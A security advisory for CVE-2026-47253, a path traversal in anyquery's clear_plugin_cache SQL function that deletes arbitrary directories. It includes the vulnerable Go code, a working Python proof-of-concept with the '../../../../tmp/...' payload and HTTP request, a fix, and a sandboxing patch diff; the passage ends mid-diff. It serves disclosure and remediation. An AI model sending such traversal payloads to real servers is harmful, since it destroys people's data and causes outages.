VYPR
High severity7.3NVD Advisory· Published Jun 10, 2026· Updated Jun 10, 2026

Anyquery has Path Traversal through `clear_plugin_cache`, Allowing Arbitrary Directory Deletion

CVE-2026-47253

Description

# Path Traversal in clear_plugin_cache Allows Arbitrary Directory Deletion

| Field | Value | | ---------------- | ----- | | Repository | julien040/anyquery | | Affected version | 0.4.4 | | Vulnerability | CWE-22 — Improper Limitation of a Pathname to a Restricted Directory | | Severity | High |

Summary

The SQL scalar function clear_plugin_cache(plugin) in namespace/other_functions.go passes the caller-supplied plugin argument directly to path.Join and then to os.RemoveAll, with only an empty-string check as a guard. Because path.Join silently resolves .. segments, a low-privileged bearer-token holder can submit SELECT clear_plugin_cache('../../../../tmp/target') to the /v1/query HTTP endpoint and delete any directory reachable by the server process. In the verified scenario, a directory outside $XDG_CACHE_HOME/anyquery/plugins/ was successfully deleted, confirming full path-traversal exploitation.

Affected

Code

namespace/other_functions.go:46pathlib.Join resolves .. segments in attacker-controlled plugin, producing a path outside the cache root

namespace/other_functions.go:53os.RemoveAll unconditionally deletes the traversed path

func clear_plugin_cache(plugin string) string {
	pathToRemove := pathlib.Join(xdg.CacheHome, "anyquery", "plugins", plugin)

	if plugin == "" {
		return "The plugin name is empty"
	}

	// Remove the directory
	err := os.RemoveAll(pathToRemove)
	if err != nil {
		return err.Error()
	}

	return ""
}

HTTP JSON body.QueryexecuteQueryLLM (controller/llm.go:420-426) → shell.Run → SQLite clear_plugin_cache(plugin)pathlib.Join(xdg.CacheHome, "anyquery", "plugins", plugin) at other_functions.go:46os.RemoveAll at other_functions.go:53

Proof of

Concept

Prerequisites: - Docker installed - Python 3 with requests package (pip install requests)

Step 1 — Build and start the vulnerable service:

docker build -f Dockerfile -t anyquery-vuln002 .
docker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002

Step 2 — Run the PoC script (separate terminal):

python3 poc.py

poc.py:

#!/usr/bin/env python3
"""PoC reproduction script — julien040/anyquery / VULN-002

Prerequisites:
    - Docker image built: docker build -f Dockerfile -t anyquery-vuln002 .
    - Container running:  docker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002
    - Python packages: requests (stdlib subprocess also used)

How to run (from this report directory, after Dockerfile service is up):
    python3 poc.py

Expected on success:
    Final stdout line begins with `RESULT: PASS` confirming that the sentinel
    directory outside the cache root was deleted via clear_plugin_cache path traversal.
"""

import subprocess
import sys
import json
import requests

BASE_URL = "http://127.0.0.1:8070"
CONTAINER = "anyquery-vuln002"
# Traversal payload: XDG_CACHE_HOME=/root/.cache, so
# path.Join("/root/.cache","anyquery","plugins","../../../../tmp/poc_sentinel")
# resolves to /tmp/poc_sentinel (4 levels up escapes the cache root).
TRAVERSAL_PLUGIN = "../../../../tmp/poc_sentinel"
SENTINEL_PATH = "/tmp/poc_sentinel"
QUERY = f"SELECT clear_plugin_cache('{TRAVERSAL_PLUGIN}')"


def docker_exec(cmd):
    result = subprocess.run(
        ["docker", "exec", CONTAINER] + cmd,
        capture_output=True, text=True
    )
    return result.returncode, result.stdout, result.stderr


def sentinel_exists():
    rc, _, _ = docker_exec(["test", "-d", SENTINEL_PATH])
    return rc == 0


# Step 1: create sentinel inside container
print(f"[1] Creating sentinel directory {SENTINEL_PATH} inside container...")
rc, out, err = docker_exec(["mkdir", "-p", SENTINEL_PATH])
if rc != 0:
    sys.exit(f"RESULT: FAIL — could not create sentinel: {err}")
if not sentinel_exists():
    sys.exit("RESULT: FAIL — sentinel not present after mkdir")
print(f"    Sentinel created: {SENTINEL_PATH}")

# Step 2: confirm server is reachable
print("[2] Confirming server is reachable...")
try:
    r = requests.get(f"{BASE_URL}/list-tables", timeout=5)
    assert r.status_code == 200, f"unexpected status {r.status_code}"
    print(f"    GET /list-tables → HTTP {r.status_code} OK")
except Exception as e:
    sys.exit(f"RESULT: FAIL — server not reachable: {e}")

# Step 3: send traversal request
print("[3] Sending path-traversal payload via POST /execute-query...")
payload = {"query": QUERY}
r = requests.post(
    f"{BASE_URL}/execute-query",
    headers={"Content-Type": "application/json"},
    data=json.dumps(payload),
    timeout=10,
)
print(f"    HTTP {r.status_code}")
print(f"    Body: {r.text.strip()}")

if r.status_code != 200:
    sys.exit(f"RESULT: FAIL — unexpected HTTP status {r.status_code}")

# Step 4: verify sentinel is gone
print("[4] Checking whether sentinel was deleted inside container...")
if sentinel_exists():
    print(f"    Sentinel still present — traversal did not delete it.")
    print(f"RESULT: FAIL — {SENTINEL_PATH} still exists after traversal request")
else:
    print(f"    Sentinel GONE — {SENTINEL_PATH} deleted outside cache root.")
    print(f"RESULT: PASS — clear_plugin_cache('{TRAVERSAL_PLUGIN}') deleted {SENTINEL_PATH} (outside /root/.cache/anyquery/plugins/)")

HTTP request:

POST /execute-query HTTP/1.1
Host: 127.0.0.1:8070
Content-Type: application/json

{"query": "SELECT clear_plugin_cache('../../../../tmp/poc_sentinel')"}

Output:

[1] Creating sentinel directory /tmp/poc_sentinel inside container...
    Sentinel created: /tmp/poc_sentinel
[2] Confirming server is reachable...
    GET /list-tables → HTTP 200 OK
[3] Sending path-traversal payload via POST /execute-query...
    HTTP 200
    Body: +----------------------------------------------------+
| clear_plugin_cache('../../../../tmp/poc_sentinel') |
+----------------------------------------------------+
|                                                    |
+----------------------------------------------------+
1 results
[4] Checking whether sentinel was deleted inside container...
    Sentinel GONE — /tmp/poc_sentinel deleted outside cache root.
RESULT: PASS — clear_plugin_cache('../../../../tmp/poc_sentinel') deleted /tmp/poc_sentinel (outside /root/.cache/anyquery/plugins/)

Impact

An authenticated low-privileged API user can delete any directory accessible to the anyquery server process by supplying a ..-traversing plugin name to clear_plugin_cache. Verified impact is permanent deletion of arbitrary directories outside the intended plugin cache boundary ($XDG_CACHE_HOME/anyquery/plugins/). In a realistic deployment, an attacker could target configuration directories, application data, or the user's home directory, causing irreversible data loss and denial of service. There is no confidentiality impact as the function only deletes and does not read data.

Remediation

In namespace/other_functions.go, resolve the full path and confirm it shares the expected cache-root prefix before calling os.RemoveAll:

func clear_plugin_cache(plugin string) string {
    if plugin == "" {
        return "The plugin name is empty"
    }
    cacheRoot := pathlib.Join(xdg.CacheHome, "anyquery", "plugins")
    pathToRemove := pathlib.Join(cacheRoot, plugin)
    rel, err := filepath.Rel(cacheRoot, pathToRemove)
    if err != nil || strings.HasPrefix(rel, "..") || rel == ".." {
        return "Invalid plugin name"
    }
    if err := os.RemoveAll(pathToRemove); err != nil {
        return err.Error()
    }
    return ""
}

As a defence-in-depth measure, also reject plugin values containing /, \, or a leading . at the input level before the path.Join call, so traversal sequences are blocked at the earliest opportunity.

Affected products

1

Patches

1
27f84fc16831

Add sandboxing to remediate CVE-2026-47253 and CVE-2026-50006

https://github.com/julien040/anyqueryjulien040Jun 9, 2026Fixed in 0.4.5via github-commit-search
33 files changed · +1575 207
  • cmd/helper.go+17 0 modified
    @@ -39,3 +39,20 @@ func addPersistentFlag_commandPrintsData(cmd *cobra.Command) {
     func addFlag_commandCanBeInteractive(cmd *cobra.Command) {
     	cmd.Flags().Bool("no-input", false, "Do not ask for input")
     }
    +
    +// addSandboxFlags registers the sandboxing flags.
    +//
    +// For the server, sandboxing is on by default and --no-sandbox disables it; for
    +// CLI commands, --sandbox opts in (off by default, since local use is trusted).
    +// The relaxation flags are identical in both cases.
    +func addSandboxFlags(cmd *cobra.Command, isServer bool) {
    +	cmd.Flags().StringSlice("allow-dirs", []string{}, "When sandboxed, directories that read_* tables (and on-disk ATTACH) may access (repeatable, comma-separated)")
    +	cmd.Flags().Bool("allow-remote", false, "When sandboxed, allow read_* tables to fetch remote URLs (http/https/s3/...)")
    +	cmd.Flags().Bool("allow-attach", false, "When sandboxed, allow ATTACH/VACUUM INTO to on-disk paths within --allow-dirs")
    +	cmd.Flags().Bool("allow-db-connections", false, "When sandboxed, allow the database reader modules (duckdb/postgres/mysql/clickhouse/cassandra)")
    +	if isServer {
    +		cmd.Flags().Bool("no-sandbox", false, "Disable server sandboxing entirely (UNSAFE: exposes local file read, SSRF, and arbitrary file write)")
    +	} else {
    +		cmd.Flags().Bool("sandbox", false, "Apply server-style sandboxing restrictions (off by default in CLI mode)")
    +	}
    +}
    
  • cmd/llm.go+8 0 modified
    @@ -44,6 +44,9 @@ func init() {
     	gptCmd.Flags().String("host", "", "Host to bind to. If not empty, the tunnel will be disabled")
     	gptCmd.Flags().Int("port", 0, "Port to bind to. If not empty, the tunnel will be disabled")
     	gptCmd.Flags().Bool("no-auth", false, "Disable the authorization mechanism for locally bound servers")
    +	// The gpt server runs arbitrary LLM-supplied SQL and exposes a tunnel to the
    +	// internet by default, so it is sandboxed by default (--no-sandbox to disable).
    +	addSandboxFlags(gptCmd, true)
     
     	// MCP command
     	rootCmd.AddCommand(mcpCmd)
    @@ -62,5 +65,10 @@ func init() {
     	mcpCmd.Flags().String("log-file", "", "Log file")
     	mcpCmd.Flags().String("log-level", "info", "Log level (trace, debug, info, warn, error, off)")
     	mcpCmd.Flags().String("log-format", "text", "Log format (text, json)")
    +	// The MCP server runs arbitrary LLM-supplied SQL. It defaults to localhost,
    +	// so --sandbox is opt-in here, but Mcp() auto-enables it when the server is
    +	// network-exposed (--tunnel or a non-loopback --host). Use --sandbox=false to
    +	// force it off even when exposed.
    +	addSandboxFlags(mcpCmd, false)
     
     }
    
  • cmd/query.go+3 0 modified
    @@ -38,6 +38,9 @@ func init() {
     	queryCmd.Flags().Bool("dev", false, "Run the program in developer mode")
     	queryCmd.Flags().StringSlice("extension", []string{}, "Load one or more extensions by specifying their path. Separate multiple extensions with a comma.")
     
    +	// Sandboxing (off by default in CLI mode; --sandbox opts in for parity with the server)
    +	addSandboxFlags(queryCmd, false)
    +
     	// Query flags
     	queryCmd.Flags().StringP("query", "q", "", "Query to run")
     
    
  • cmd/root.go+3 0 modified
    @@ -48,6 +48,9 @@ func init() {
     	rootCmd.Flags().Bool("dev", false, "Run the program in developer mode")
     	rootCmd.Flags().StringSlice("extension", []string{}, "Load one or more extensions by specifying their path. Separate multiple extensions with a comma.")
     
    +	// Sandboxing (off by default in CLI mode; --sandbox opts in for parity with the server)
    +	addSandboxFlags(rootCmd, false)
    +
     	// Query flags
     	rootCmd.Flags().StringP("query", "q", "", "Query to run")
     
    
  • cmd/server.go+5 0 modified
    @@ -38,5 +38,10 @@ func init() {
     	serverCmd.Flags().Bool("dev", false, "Run the program in developer mode")
     	serverCmd.Flags().StringSlice("extension", []string{}, "Load one or more extensions by specifying their path. Separate multiple extensions with a comma.")
     
    +	// Sandboxing: enabled by default in server mode (the attack surface), with
    +	// --allow-dirs / --allow-remote / --allow-attach / --allow-db-connections to
    +	// relax it, and --no-sandbox to disable it entirely.
    +	addSandboxFlags(serverCmd, true)
    +
     	addFlag_commandModifiesConfiguration(serverCmd)
     }
    
  • controller/controller.go+2 1 modified
    @@ -78,7 +78,8 @@ func openUserDatabase(cmd *cobra.Command, args []string) (*namespace.Namespace,
     				Level:      logLevel,
     			},
     		),
    -		DevMode: devMode,
    +		DevMode:      devMode,
    +		Restrictions: RestrictionsFromFlags(cmd),
     	})
     	if err != nil {
     		return nil, nil, fmt.Errorf("failed to create namespace: %w", err)
    
  • controller/llm.go+13 0 modified
    @@ -637,6 +637,19 @@ func Mcp(cmd *cobra.Command, args []string) error {
     		os.Chdir(xdg.CacheHome)
     	}
     
    +	// Sandboxing: the MCP server runs arbitrary client/LLM SQL, so enable the
    +	// sandbox automatically when it is network-exposed (a tunnel to the internet
    +	// or a non-loopback bind). Pure localhost/stdio stays unsandboxed by default
    +	// for local "analyze my files" use. --sandbox forces it on; --sandbox=false
    +	// forces it off even when exposed (Changed() is true for an explicit value).
    +	if !cmd.Flags().Changed("sandbox") {
    +		tunnelEnabled, _ := cmd.Flags().GetBool("tunnel")
    +		host, _ := cmd.Flags().GetString("host")
    +		if tunnelEnabled || isNetworkExposedHost(host) {
    +			_ = cmd.Flags().Set("sandbox", "true")
    +		}
    +	}
    +
     	// Open the database
     	namespaceInstance, db, err := openUserDatabase(cmd, args)
     	if err != nil {
    
  • controller/query.go+2 1 modified
    @@ -86,7 +86,8 @@ func Query(cmd *cobra.Command, args []string) error {
     				Level:      logLevel,
     			},
     		),
    -		DevMode: devMode,
    +		DevMode:      devMode,
    +		Restrictions: RestrictionsFromFlags(cmd),
     	})
     	if err != nil {
     		return fmt.Errorf("failed to create namespace: %w", err)
    
  • controller/run.go+5 4 modified
    @@ -271,10 +271,11 @@ func Run(cmd *cobra.Command, args []string) error {
     
     	// Create the namespace so that we can run the query
     	namespace, err := namespace.NewNamespace(namespace.NamespaceConfig{
    -		InMemory: inMemory,
    -		ReadOnly: readOnly,
    -		Path:     path,
    -		Logger:   hclog.NewNullLogger(),
    +		InMemory:     inMemory,
    +		ReadOnly:     readOnly,
    +		Path:         path,
    +		Logger:       hclog.NewNullLogger(),
    +		Restrictions: RestrictionsFromFlags(cmd),
     	})
     
     	if err != nil {
    
  • controller/sandbox.go+56 0 added
    @@ -0,0 +1,56 @@
    +package controller
    +
    +import (
    +	"strings"
    +
    +	"github.com/julien040/anyquery/module"
    +	"github.com/spf13/cobra"
    +)
    +
    +// isNetworkExposedHost reports whether binding to host exposes the server beyond
    +// the local loopback interface. An empty host is treated as exposed (it usually
    +// means "all interfaces").
    +func isNetworkExposedHost(host string) bool {
    +	switch strings.TrimSpace(strings.ToLower(host)) {
    +	case "127.0.0.1", "localhost", "::1", "[::1]":
    +		return false
    +	default:
    +		return true
    +	}
    +}
    +
    +// RestrictionsFromFlags builds the sandboxing policy from a command's flags.
    +//
    +// It returns nil (no restrictions) unless sandboxing is active:
    +//   - server commands register a "no-sandbox" flag and are sandboxed by
    +//     default (active unless --no-sandbox is passed);
    +//   - CLI commands register a "sandbox" flag and are unrestricted by default
    +//     (active only when --sandbox is passed).
    +//
    +// A command that registers neither flag is always unrestricted, so calling
    +// this from a shared namespace builder is safe regardless of the command.
    +func RestrictionsFromFlags(cmd *cobra.Command) *module.Restrictions {
    +	active := false
    +	switch {
    +	case cmd.Flags().Lookup("no-sandbox") != nil:
    +		noSandbox, _ := cmd.Flags().GetBool("no-sandbox")
    +		active = !noSandbox
    +	case cmd.Flags().Lookup("sandbox") != nil:
    +		active, _ = cmd.Flags().GetBool("sandbox")
    +	}
    +	if !active {
    +		return nil
    +	}
    +
    +	allowDirs, _ := cmd.Flags().GetStringSlice("allow-dirs")
    +	allowRemote, _ := cmd.Flags().GetBool("allow-remote")
    +	allowAttach, _ := cmd.Flags().GetBool("allow-attach")
    +	allowDB, _ := cmd.Flags().GetBool("allow-db-connections")
    +
    +	return &module.Restrictions{
    +		AllowedDirs:        allowDirs,
    +		AllowRemote:        allowRemote,
    +		AllowAttach:        allowAttach,
    +		AllowDBConnections: allowDB,
    +	}
    +}
    
  • controller/sandbox_test.go+94 0 added
    @@ -0,0 +1,94 @@
    +package controller
    +
    +import (
    +	"testing"
    +
    +	"github.com/spf13/cobra"
    +)
    +
    +func addTestSandboxFlags(c *cobra.Command, isServer bool) {
    +	c.Flags().StringSlice("allow-dirs", nil, "")
    +	c.Flags().Bool("allow-remote", false, "")
    +	c.Flags().Bool("allow-attach", false, "")
    +	c.Flags().Bool("allow-db-connections", false, "")
    +	if isServer {
    +		c.Flags().Bool("no-sandbox", false, "")
    +	} else {
    +		c.Flags().Bool("sandbox", false, "")
    +	}
    +}
    +
    +func TestRestrictionsFromFlags(t *testing.T) {
    +	t.Run("server style is on by default", func(t *testing.T) {
    +		c := &cobra.Command{Use: "x"}
    +		addTestSandboxFlags(c, true)
    +		if RestrictionsFromFlags(c) == nil {
    +			t.Error("server command should be sandboxed by default")
    +		}
    +	})
    +
    +	t.Run("server style --no-sandbox disables", func(t *testing.T) {
    +		c := &cobra.Command{Use: "x"}
    +		addTestSandboxFlags(c, true)
    +		_ = c.Flags().Set("no-sandbox", "true")
    +		if RestrictionsFromFlags(c) != nil {
    +			t.Error("--no-sandbox should disable the sandbox")
    +		}
    +	})
    +
    +	t.Run("cli style is off by default", func(t *testing.T) {
    +		c := &cobra.Command{Use: "x"}
    +		addTestSandboxFlags(c, false)
    +		if RestrictionsFromFlags(c) != nil {
    +			t.Error("cli command should be unrestricted by default")
    +		}
    +	})
    +
    +	t.Run("cli style --sandbox enables and reads relax flags", func(t *testing.T) {
    +		c := &cobra.Command{Use: "x"}
    +		addTestSandboxFlags(c, false)
    +		_ = c.Flags().Set("sandbox", "true")
    +		_ = c.Flags().Set("allow-dirs", "/srv/data")
    +		_ = c.Flags().Set("allow-remote", "true")
    +		r := RestrictionsFromFlags(c)
    +		if r == nil {
    +			t.Fatal("--sandbox should enable the sandbox")
    +		}
    +		if len(r.AllowedDirs) != 1 || r.AllowedDirs[0] != "/srv/data" {
    +			t.Errorf("allow-dirs not propagated: %v", r.AllowedDirs)
    +		}
    +		if !r.AllowRemote {
    +			t.Error("allow-remote not propagated")
    +		}
    +		if r.AllowAttach || r.AllowDBConnections {
    +			t.Error("unset relax flags should remain false")
    +		}
    +	})
    +
    +	t.Run("no sandbox flags means unrestricted", func(t *testing.T) {
    +		c := &cobra.Command{Use: "x"}
    +		c.Flags().String("host", "", "")
    +		if RestrictionsFromFlags(c) != nil {
    +			t.Error("a command without sandbox flags should be unrestricted")
    +		}
    +	})
    +}
    +
    +func TestIsNetworkExposedHost(t *testing.T) {
    +	cases := map[string]bool{
    +		"127.0.0.1": false,
    +		"localhost": false,
    +		"::1":       false,
    +		"[::1]":     false,
    +		"LocalHost": false,
    +		"":          true,
    +		"0.0.0.0":   true,
    +		"192.168.1.5": true,
    +		"example.com": true,
    +	}
    +	for host, want := range cases {
    +		if got := isNetworkExposedHost(host); got != want {
    +			t.Errorf("isNetworkExposedHost(%q) = %v, want %v", host, got, want)
    +		}
    +	}
    +}
    
  • controller/server.go+13 1 modified
    @@ -98,6 +98,17 @@ func Server(cmd *cobra.Command, args []string) error {
     	dev, _ := cmd.Flags().GetBool("dev")
     
     	// Create the namespace
    +	restrictions := RestrictionsFromFlags(cmd)
    +	if restrictions != nil {
    +		lo.Info("Server sandboxing enabled",
    +			"allowedDirs", restrictions.AllowedDirs,
    +			"allowRemote", restrictions.AllowRemote,
    +			"allowAttach", restrictions.AllowAttach,
    +			"allowDBConnections", restrictions.AllowDBConnections)
    +	} else {
    +		lo.Warn("Server sandboxing is DISABLED (--no-sandbox): clients can read local files, reach internal endpoints, and write arbitrary files")
    +	}
    +
     	instance, err := namespace.NewNamespace(namespace.NamespaceConfig{
     		InMemory: inMemory,
     		ReadOnly: readOnly,
    @@ -106,7 +117,8 @@ func Server(cmd *cobra.Command, args []string) error {
     			Level:       hclog.LevelFromString(logLevel),
     			DisableTime: true,
     		}),
    -		DevMode: dev,
    +		DevMode:      dev,
    +		Restrictions: restrictions,
     	})
     	if err != nil {
     		return err
    
  • .gitignore+3 1 modified
    @@ -63,4 +63,6 @@ fabric.properties
     dist/
     .aider*
     CLAUDE.md
    -*.log
    \ No newline at end of file
    +*.log
    +
    +drafts/
    \ No newline at end of file
    
  • module/helper.go+26 3 modified
    @@ -21,7 +21,17 @@ import (
     // the file is not downloaded again
     //
     // The destination path is created if it doesn't exist
    -func downloadFile(src string, dst string, maxAge int64) error {
    +//
    +// When r is non-nil, the source is validated against the sandbox policy before
    +// anything happens (the check is on src, not the cache destination), and remote
    +// transports are dropped from go-getter unless the policy allows them.
    +func downloadFile(src string, dst string, maxAge int64, r *Restrictions) error {
    +	// Enforce the sandbox policy on the original source before any side effect
    +	// (directory creation, cache freshness short-circuit, fetch).
    +	if err := r.CheckSource(src); err != nil {
    +		return err
    +	}
    +
     	// Create the directory if it doesn't exist
     	err := os.MkdirAll(path.Dir(dst), 0755)
     	if err != nil {
    @@ -51,6 +61,18 @@ func downloadFile(src string, dst string, maxAge int64) error {
     		Pwd:  wd,
     	}
     
    +	// When remote fetching is disabled, restrict go-getter to the local file
    +	// getter only. This is the authoritative SSRF gate: Client.Get selects the
    +	// getter by scheme and fails with "download not supported for scheme" when
    +	// it is absent, so http/https/s3/gcs/git become unreachable. Default
    +	// detectors can stay — a scheme-less input they rewrite (e.g. a git source)
    +	// fails at the same lookup.
    +	if r != nil && !r.AllowRemote {
    +		client.Getters = map[string]getter.Getter{
    +			"file": getter.Getters["file"],
    +		}
    +	}
    +
     	if needToDownload {
     		// We first remove the file because it's outdated
     		// and then we download it
    @@ -80,12 +102,13 @@ func findCachedDestination(src string) (string, error) {
     }
     
     // openMmapedFile downloads a file from a source URL and returns a mmap of the file
    -func openMmapedFile(src string) (mmap.MMap, error) {
    +func openMmapedFile(src string, r *Restrictions) (mmap.MMap, error) {
     	// Find the cached destination
     	filePath, err := findCachedDestination(src)
     
     	// Download the file and cache it for 24 hours
    -	err = downloadFile(src, filePath, 60*60*24)
    +	// (downloadFile enforces the sandbox policy on src)
    +	err = downloadFile(src, filePath, 60*60*24, r)
     	if err != nil {
     		return nil, err
     	}
    
  • module/read_csv.go+2 1 modified
    @@ -18,6 +18,7 @@ import (
     )
     
     type CsvModule struct {
    +	Restrictions *Restrictions
     }
     
     type CsvTable struct {
    @@ -137,7 +138,7 @@ func (m *CsvModule) Connect(c *sqlite3.SQLiteConn, args []string) (sqlite3.VTab,
     		}
     	} else {
     		// Open the file and mmap it
    -		mmap, err = openMmapedFile(fileName)
    +		mmap, err = openMmapedFile(fileName, m.Restrictions)
     		if err != nil {
     			return nil, fmt.Errorf("failed to open the file: %s", err)
     		}
    
  • module/read_html.go+2 1 modified
    @@ -14,6 +14,7 @@ import (
     )
     
     type HtmlModule struct {
    +	Restrictions *Restrictions
     }
     
     type HtmlTable struct {
    @@ -97,7 +98,7 @@ func (m *HtmlModule) Connect(c *sqlite3.SQLiteConn, args []string) (sqlite3.VTab
     		}
     
     		// Download the file and cache it for 60 seconds
    -		err = downloadFile(fileName, filePath, cacheTTLParsed)
    +		err = downloadFile(fileName, filePath, cacheTTLParsed, m.Restrictions)
     		if err != nil {
     			return nil, fmt.Errorf("failed to download file: %s", err)
     		}
    
  • module/read_json.go+5 4 modified
    @@ -13,9 +13,10 @@ import (
     )
     
     type JSONModule struct {
    -	fileContent []byte
    -	mmap        mmap.MMap
    -	tableShape  jsonShape
    +	Restrictions *Restrictions
    +	fileContent  []byte
    +	mmap         mmap.MMap
    +	tableShape   jsonShape
     }
     
     type JSONTable struct {
    @@ -128,7 +129,7 @@ func (m *JSONModule) Connect(c *sqlite3.SQLiteConn, args []string) (sqlite3.VTab
     			return nil, err
     		}
     	} else {
    -		file, err := openMmapedFile(filepath)
    +		file, err := openMmapedFile(filepath, m.Restrictions)
     		if err != nil {
     			return nil, err
     		}
    
  • module/read_jsonl.go+2 1 modified
    @@ -13,6 +13,7 @@ import (
     )
     
     type JSONlModule struct {
    +	Restrictions *Restrictions
     }
     
     type JSONlTable struct {
    @@ -95,7 +96,7 @@ func (m *JSONlModule) Connect(c *sqlite3.SQLiteConn, args []string) (sqlite3.VTa
     			return nil, fmt.Errorf("failed to read from stdin: %s", err)
     		}
     	} else {
    -		file, err := openMmapedFile(fileName)
    +		file, err := openMmapedFile(fileName, m.Restrictions)
     		if err != nil {
     			return nil, fmt.Errorf("failed to open file: %s", err)
     		}
    
  • module/read_log.go+10 1 modified
    @@ -18,6 +18,7 @@ import (
     var grokTemplate string
     
     type LogModule struct {
    +	Restrictions *Restrictions
     }
     
     type LogTable struct {
    @@ -151,13 +152,21 @@ func (m *LogModule) Connect(c *sqlite3.SQLiteConn, args []string) (sqlite3.VTab,
     		}
     	} else {
     		// Open the file and mmap it
    -		mmap, err = openMmapedFile(fileName)
    +		mmap, err = openMmapedFile(fileName, m.Restrictions)
     		if err != nil {
     			return nil, fmt.Errorf("failed to open the file: %s", err)
     		}
     		file = mmap
     	}
     
    +	// The custom grok pattern file is read directly (it bypasses the go-getter
    +	// chokepoint), so it must be validated against the sandbox policy here.
    +	if patternFile != "" {
    +		if err := m.Restrictions.CheckFileRead(patternFile); err != nil {
    +			return nil, err
    +		}
    +	}
    +
     	parser, err := createGrokParser(patternFile)
     	if err != nil {
     		return nil, err
    
  • module/read_parquet.go+2 1 modified
    @@ -14,6 +14,7 @@ import (
     )
     
     type ParquetModule struct {
    +	Restrictions *Restrictions
     }
     
     type ParquetTable struct {
    @@ -78,7 +79,7 @@ func (m *ParquetModule) Connect(c *sqlite3.SQLiteConn, args []string) (sqlite3.V
     	var mmap mmap.MMap
     	var err error
     
    -	mmap, err = openMmapedFile(fileName)
    +	mmap, err = openMmapedFile(fileName, m.Restrictions)
     	if err != nil {
     		return nil, fmt.Errorf("failed to open the file: %s", err)
     	}
    
  • module/read_toml.go+2 1 modified
    @@ -13,6 +13,7 @@ import (
     )
     
     type TomlModule struct {
    +	Restrictions *Restrictions
     }
     
     type TomlTable struct {
    @@ -67,7 +68,7 @@ func (m *TomlModule) Connect(c *sqlite3.SQLiteConn, args []string) (sqlite3.VTab
     			return nil, fmt.Errorf("failed to read from stdin: %s", err)
     		}
     	} else {
    -		content, err = openMmapedFile(fileName)
    +		content, err = openMmapedFile(fileName, m.Restrictions)
     		if err != nil {
     			return nil, fmt.Errorf("failed to open file: %s", err)
     		}
    
  • module/read_yaml.go+2 1 modified
    @@ -18,6 +18,7 @@ type interfaceRow struct {
     }
     
     type YamlModule struct {
    +	Restrictions *Restrictions
     }
     
     type YamlTable struct {
    @@ -108,7 +109,7 @@ func (m *YamlModule) Connect(c *sqlite3.SQLiteConn, args []string) (sqlite3.VTab
     			return nil, fmt.Errorf("failed to read from stdin: %s", err)
     		}
     	} else {
    -		content, err = openMmapedFile(fileName)
    +		content, err = openMmapedFile(fileName, m.Restrictions)
     		if err != nil {
     			return nil, fmt.Errorf("failed to open file: %s", err)
     		}
    
  • module/restrictions.go+222 0 added
    @@ -0,0 +1,222 @@
    +package module
    +
    +import (
    +	"fmt"
    +	"net/url"
    +	"os"
    +	"path/filepath"
    +	"regexp"
    +	"strings"
    +)
    +
    +// Restrictions is the sandboxing policy enforced in Server Mode (and optionally
    +// in CLI mode via --sandbox).
    +//
    +// A nil *Restrictions means "no restrictions" — the default for local CLI use,
    +// where the operator is trusted. A non-nil value enforces the policy; its zero
    +// value is maximally restrictive (no readable directories, no remote fetches,
    +// no on-disk ATTACH, and the database reader modules disabled). Every method is
    +// safe to call on a nil receiver.
    +//
    +// The policy is enforced in two layers that share this object:
    +//   - the SQLite authorizer (namespace package) gates ATTACH / VACUUM INTO,
    +//     which it can see the path of, via AllowAttachPath;
    +//   - the read_* modules gate file/URL access, which the authorizer cannot see
    +//     (the path lives in the virtual-table arguments), via CheckSource /
    +//     CheckFileRead.
    +type Restrictions struct {
    +	// AllowedDirs is the set of directories that read_* tables (and on-disk
    +	// ATTACH, when AllowAttach is set) may touch. Both the requested path and
    +	// each entry are resolved (absolute, symlinks evaluated) before the
    +	// containment check, so a symlink inside an allowed directory cannot escape
    +	// it. Empty => no local file access is permitted.
    +	AllowedDirs []string
    +
    +	// AllowRemote permits non-file getters (http/https/s3/gcs/git/...). When
    +	// false, downloadFile restricts go-getter to the local file getter, so no
    +	// remote transport is reachable.
    +	AllowRemote bool
    +
    +	// AllowAttach permits ATTACH DATABASE / VACUUM INTO targeting on-disk paths
    +	// (still confined to AllowedDirs). In-memory databases are always allowed.
    +	AllowAttach bool
    +
    +	// AllowDBConnections permits registering the database reader modules
    +	// (duckdb/postgres/mysql/clickhouse/cassandra), which accept arbitrary
    +	// connection strings and would otherwise be an SSRF (and, for DuckDB, an
    +	// RCE) vector.
    +	AllowDBConnections bool
    +}
    +
    +// forcedGetterRe matches go-getter's "type::url" forced-getter prefix.
    +var forcedGetterRe = regexp.MustCompile(`^([A-Za-z0-9]+)::(.+)$`)
    +
    +// isRemoteSource reports whether src would be fetched over a non-file transport.
    +//
    +// This is the early, friendly gate (a clear error and an independent check);
    +// the getter allowlist in downloadFile is the authoritative SSRF control, so
    +// this does not need to replicate go-getter's full detection logic. A bare path
    +// (including a Windows drive path like C:\data) is treated as local because it
    +// has no "scheme://" component.
    +func isRemoteSource(src string) bool {
    +	if m := forcedGetterRe.FindStringSubmatch(src); m != nil {
    +		return !strings.EqualFold(m[1], "file")
    +	}
    +	if i := strings.Index(src, "://"); i > 0 {
    +		return !strings.EqualFold(src[:i], "file")
    +	}
    +	return false
    +}
    +
    +// stripFileScheme removes a "file::" forced-getter prefix or a "file://" scheme
    +// so the remainder can be treated as a local path.
    +func stripFileScheme(src string) string {
    +	if m := forcedGetterRe.FindStringSubmatch(src); m != nil && strings.EqualFold(m[1], "file") {
    +		src = m[2]
    +	}
    +	src = strings.TrimPrefix(src, "file://")
    +	return src
    +}
    +
    +// CheckSource validates a reader source (file path or URL) against the policy.
    +// It must be called on the original src, before go-getter copies it into the
    +// cache directory (which would always pass the path check).
    +func (r *Restrictions) CheckSource(src string) error {
    +	if r == nil {
    +		return nil // unrestricted
    +	}
    +	if strings.TrimSpace(src) == "" {
    +		return fmt.Errorf("sandbox: empty source is not allowed")
    +	}
    +	if isRemoteSource(src) {
    +		if r.AllowRemote {
    +			return nil
    +		}
    +		return fmt.Errorf("sandbox: remote fetching is disabled; %q is not a local file (enable with --allow-remote)", src)
    +	}
    +	return r.checkLocalPath(stripFileScheme(src))
    +}
    +
    +// CheckFileRead validates a plain local file path (no scheme) against the
    +// policy. Used for read paths that bypass the go-getter chokepoint, such as the
    +// log reader's custom grok pattern file.
    +func (r *Restrictions) CheckFileRead(path string) error {
    +	if r == nil {
    +		return nil
    +	}
    +	if strings.TrimSpace(path) == "" {
    +		return fmt.Errorf("sandbox: empty file path is not allowed")
    +	}
    +	return r.checkLocalPath(path)
    +}
    +
    +// AllowAttachPath reports whether an ATTACH DATABASE / VACUUM INTO target is
